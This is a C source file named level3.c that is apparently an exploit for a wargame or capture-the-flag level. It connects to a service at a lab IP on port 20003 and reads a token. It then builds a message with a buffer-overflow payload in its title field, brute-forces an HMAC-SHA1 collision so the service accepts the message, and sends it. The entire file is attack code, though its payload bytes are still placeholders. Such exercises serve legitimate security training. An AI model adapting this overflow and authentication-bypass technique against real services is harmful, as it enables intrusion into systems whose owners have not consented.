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level3.c
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level3.c
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#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/hmac.h>
void err(int ec, char *msg)
{
printf(msg);
printf("\n");
exit(ec);
}
void print_hexdigest(unsigned char *result)
{
unsigned int i;
printf("[");
for(i=0;i<20;i++)
printf("%02x", result[i]);
printf("]\n");
}
char *find_collision(char *text, char *key)
{
unsigned int p, t_l, result_l=20;
unsigned char result[20];
char *t;
for(p=0; p<UINT_MAX; p++)
{
t_l = asprintf(&t, text, p);
HMAC(EVP_sha1(), key, strlen(key), (unsigned char *)t, t_l, result, &result_l);
if(!(result[0] | result[1])){
printf("%s\n", t);
print_hexdigest(result);
return t;
}
}
return NULL;
}
int init_socket()
{
int fd;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.122.138");
sin.sin_port = htons(atoi("20003"));
fd = socket(AF_INET, SOCK_STREAM, 0);
if(fd == -1) err(EXIT_FAILURE, "socket(): failed");
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1)
err(EXIT_FAILURE, "connect(): failed");
return fd;
}
char *read_token(int fd)
{
int n;
char *buffer, *token;
buffer = (char *) malloc(128);
n = read(fd, buffer, 128);
token = (char *) malloc(n);
strncpy(token, buffer + 1, n-3);
return token;
}
char *overflow_tags()
{
int i;
char *j, *junk;
junk = (char *)malloc(256);
memset(junk, 'A', 127);
junk[128] = 0;
strcat(junk, "\\\\uBBBB");
strcat(junk, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC");
return junk;
}
int main(int argc, char **argv)
{
int fd;
char *text_orig = "%s\n{'title':'%s', 'contents': 'my contents' , 'serverip': '127.0.0.1'} // %s";
char *tokenised_text, *collided_text, *token, *junk;
fd = init_socket();
token = read_token(fd);
junk = overflow_tags();
asprintf(&tokenised_text, text_orig, token, junk, "%x");
collided_text = find_collision(tokenised_text, token);
write(fd, collided_text, strlen(collided_text));
return EXIT_SUCCESS;
}